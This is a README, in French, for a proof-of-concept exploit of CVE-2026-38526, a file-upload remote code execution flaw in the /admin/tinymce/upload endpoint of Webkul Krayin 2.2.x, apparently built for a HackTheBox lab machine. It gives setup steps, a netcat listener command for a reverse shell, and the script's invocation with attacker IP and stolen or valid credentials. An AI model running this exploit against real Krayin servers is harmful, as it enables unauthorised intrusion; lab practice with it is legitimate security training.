CVE-2026-38526-PoC-htb-nexus

Un script PoC pour CVE-2026-38526, RCE via une vulnérabilité de téléchargement de fichier dans le point de terminaison /admin/tinymce/upload de webkul krayin 2.2.x (conçu pour htb-nexus)

🛠 Démarrage rapide et utilisation

1. Clonez le dépôt :

   git clone https://github.com/Resolvdd/CVE-2026-38526-PoC-htb-nexus.git
   cd CVE-2026-38526-PoC-htb-nexus
   

2. Créez un environnement virtuel Python :

   python3 -m venv .venv
   source .venv/bin/activate
   

3. Installez requirements.txt :

   pip install -r requirements.txt
   

4. Démarrez le listener :

   nc -lvnp <port number> (Default: 9001)
   

5. Exécutez le script :

   python3 poc.py -i <your-ip> -p <listener-port-number> -e <valid-krayin-email> -P <valid-krayin-password> -u <url-excluding-protocol Default: http>